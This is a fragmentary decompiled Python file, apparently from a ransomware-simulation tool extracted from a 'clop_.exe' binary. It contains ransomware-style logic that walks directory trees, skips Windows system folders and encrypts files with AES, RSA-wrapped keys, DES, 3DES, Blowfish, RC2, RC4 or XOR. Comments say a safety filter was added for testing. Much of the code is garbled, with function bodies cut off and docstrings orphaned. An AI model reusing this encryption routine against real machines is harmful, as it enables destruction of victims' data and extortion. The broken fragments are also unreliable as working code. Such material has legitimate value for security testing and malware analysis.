Ransom Simulation
Ransom Simulation
clop_.exe_extracted\main_optimized.pyc"
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 4 2019, 01:37:19) [MSC
v.1500 64 bit (AMD64)]
# Embedded file name: main_optimized.py
from six import binary_type
from six import string_types
from logging import getLogger
from logging import Formatter
from logging import FileHandler
from os import path
from os import mkdir
from os import remove
from os import walk
from os import getcwd
from sys import argv
from sys import exit
from json import load
from string import ascii_letters
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Cipher import DES
from Crypto.Cipher import DES3
from Crypto.Cipher import Blowfish
from Crypto.Cipher import ARC2
from Crypto.Cipher import ARC4
from Crypto.Hash import SHA
from Crypto import Random
from struct import pack
from zipfile import ZipFile
from random import choice
from random import randint
from base64 import b64decode
from base64 import b64encode
g_iterated_files_count = 0
PASSOVER_FOLDER_FILES_NAMES = [
u'windows',
u'boot',
u'system volume information',
u'$recycle.bin',
u'program files',
u'program files (x86)',
u'appdata',
u'application data',
u'winnt']
RETURN_CODE_ERROR = 1
RETURN_CODE_SUCCESS = 0
MINIMUM_SIZE = 500
MAXIMUM_SIZE = 1500
MAXIMUM_FILES_TO_BE_ENCRYPTED = 20
SOURCE_FILE_NAME = '_FILENAME_'
SOURCE_FILE_DIR = path.join(getcwd(), 'enc_files')
LOGGER_NAME = 'generic_ransom_LOGGER'
LOG_FORMATTER = Formatter(fmt='%(levelname)s: [%(asctime)s] %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
LOG_LEVEL = 'DEBUG'
logger = getLogger(LOGGER_NAME)
logger_file_handler = FileHandler(path.abspath(path.expandvars('1.log')), 'w',
'utf-8')
logger_file_handler.setFormatter(LOG_FORMATTER)
logger.addHandler(logger_file_handler)
def iterate_files(folder_path):
files_to_encrypt = []
for root, dirs, files in walk(folder_path):
for file in files:
filePath = path.join(root, file)
files_to_encrypt.append(filePath)
return files_to_encrypt
ciphertext = obj.encrypt(data)
obj2 = AES.new(key, aesEncMode, iv)
data2 = obj2.decrypt(ciphertext)
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)
def _to_format_for_encrypt(value):
if isinstance(value, int):
return binary_type(value)
for str_type in string_types:
if isinstance(value, str_type):
return value.encode('utf8')
if isinstance(value, binary_type):
return value
def generate_keys(keyLength):
random_generator = Random.new().read
key = RSA.generate(keyLength, random_generator)
private, public = key.exportKey(), key.publickey().exportKey()
return (private, public)
def encrypt_file_RSA(aesKey, RSAkeyLength):
private, public = generate_keys(RSAkeyLength)
encrypted_key = encrypt(aesKey, public)
return encrypted_key
data2 = ''
for i in xrange(0, len(data) / 2):
xored = chr(int(chr(ord(ciphertext[i:i + 1])).encode('hex'), 16) ^
ord(xorKey))
data2 += xored
i += 1
def readSourceFile(file_path):
with open(file_path, 'rb') as (f):
data = f.read()
return data
if 'AES' in encAlgo and 'RSA' in encAlgo and not algoId == 'AESRSA' and not
algoId == 'RSAAES':
print '----error, found more than 2 algorithms'
supported = False
if not supported:
print '%s,not supported algo, %s' % (ransomName, encAlgoList)
return
else:
if algoId == 'RSA' or algoId == 'RSAAES' or algoId == 'AESRSA':
if algoId == 'RSA':
AESkey = randomString(AESkeyLength)
AESencKey = encrypt_file_RSA(AESkey, rsaKeyLength)
iv = randomString(16)
encrypt_file_AES(file_path, AESkey, iv, ransomName, algoId, aesEncMode,
addedEncExt)
elif algoId == 'AES':
iv = randomString(16)
encrypt_file_AES(file_path, AESkey, iv, ransomName, algoId, aesEncMode,
addedEncExt)
elif algoId == 'DES':
encrypt_file_DES(DESkey, file_path, ransomName, algoId, addedEncExt)
elif algoId == '3DES':
encrypt_file_3DES(DES3key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSADES' or algoId == 'DESRSA':
DESencKey = encrypt_file_RSA(DESkey, rsaKeyLength)
encrypt_file_DES(DESkey, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSA3DES' or algoId == '3DESRSA':
DES3encKey = encrypt_file_RSA(DES3key, rsaKeyLength)
encrypt_file_3DES(DES3key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'XOR':
encrypt_file_XOR(xorKey, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'BLOWFISH':
encrypt_file_Blowfish(blowFishKey, file_path, ransomName, algoId,
addedEncExt)
elif algoId == 'RC2':
encrypt_file_RC2(rc2Key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSARC2' or algoId == 'RC2RSA':
rc2encKey = encrypt_file_RSA(rc2Key, rsaKeyLength)
encrypt_file_RC2(rc2Key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RC4':
encrypt_file_RC4(rc4Key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSARC4' or algoId == 'RC4RSA':
rc4encKey = encrypt_file_RSA(rc4Key, rsaKeyLength)
encrypt_file_RC4(rc4Key, file_path, ransomName, algoId, addedEncExt)
else:
print 'else-----%s,%s' % (ransomName, algoId)
return
This function's logic does not exist in original malware, but is inserted by
us (SB) to make it safe for users running it. It is called after initial
iteration and gathering of the files list to encrypt, to allow separation
between which folders and files are being iterated on, and which files to
actually encrypt. This requirement allows us to enforce both a limit on the
iteration phase time, and on the files to be encrypted.
"""
global logger
should_encrypt = safe_substr_in_file_path in full_file_path
logger.debug(('should_encrypt: {0:20} : {1}').format(full_file_path,
should_encrypt))
return should_encrypt
Recursively encrypt folder tree starting from the given base folder. Takes
care of the creation (import) of the crypt key, and its destroying. Only
encrypts files that have passed both the original Locky filtering, and SB
filtering.
"""
global g_iterated_files_count
files_to_encrypt = iterate_files(base_path)
logger.debug('Iterated %d files. Moving on to encrypt them' %
g_iterated_files_count)
logger.info('Iteration finished, now encrypting filtered files')
encrypted_files_count = 0
for file_path in files_to_encrypt:
encrypt_file(ransomName, file_path, encAlgoList, addedEncExt)
encrypted_files_count += 1
def generateFiles(filePath):
with open(filePath, 'wb') as (f):
f.write(signature1)
def randomStringWithLen(hexList, stringLength):
return ('').join(choice(hexList) for i in range(stringLength))
print len(extDict)
hexList = []
for i in xrange(0, 255):
binary = hex(i).replace('0x', '')
if int(binary, 16) < 16:
binary = '0' + binary
hexList.append(binary)
generateFiles(extDict, hexList)
generateFileTobeEncrypted(lines, supportedExtsSet)
encAlgoList = ransomDict['encAlgo']
addedEncExt = ransomDict['addedEncExt']
encrypted_files_count = encrypt_recursive(ransomName, base_folder,
encAlgoList, addedEncExt)
if 0 == encrypted_files_count:
print 'ERROR - No files were encrypted'
exit(RETURN_CODE_ERROR)
break
print 'SUCCESS'
exit(RETURN_CODE_SUCCESS)
except Exception as e:
logger.exception('General failure: %s' % str(e))
print 'ERROR'
exit(RETURN_CODE_ERROR)
# okay decompiling C:\Users\Tomer Bar\Downloads\clop_.exe_extracted\
main_optimized.pyc
C:\Python27\Lib\site-packages>